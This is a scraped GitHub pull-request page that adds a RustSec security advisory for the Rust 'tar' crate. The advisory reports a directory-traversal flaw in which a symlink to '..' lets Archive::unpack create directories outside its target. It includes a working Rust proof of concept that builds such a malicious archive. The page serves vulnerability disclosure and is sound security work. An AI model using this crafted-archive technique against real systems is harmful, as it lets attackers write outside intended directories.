Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Add directory traversal for tar #965

Merged
merged 3 commits into from
Aug 8, 2021
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
58 changes: 58 additions & 0 deletions crates/tar/RUSTSEC-0000-0000.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
```toml
[advisory]
id = "RUSTSEC-0000-0000"
package = "tar"
date = "2021-07-19"
url = "https://github.com/alexcrichton/tar-rs/issues/238"
categories = ["directory-traversal"]
tarcieri marked this conversation as resolved.
Show resolved Hide resolved

[versions]
# none, 0day
#patched = ["> 0.4.35"]
tarcieri marked this conversation as resolved.
Show resolved Hide resolved

[affected]
functions = { "tar::Archive::unpack" = ["< 1.2.3"] }
```

# Links in archive can create arbitrary directories

When unpacking a tarball that contains a symlink the `tar` crate may create
directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are
already created at this point.

```rust
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
let mut buf = Vec::new();

{
let mut builder = Builder::new(&mut buf);

// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;

// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;

builder.finish()?;
};

Archive::new(&*buf).unpack("demo")
}
```

This issue was discovered and reported by Martin Michaelis (@mgjm).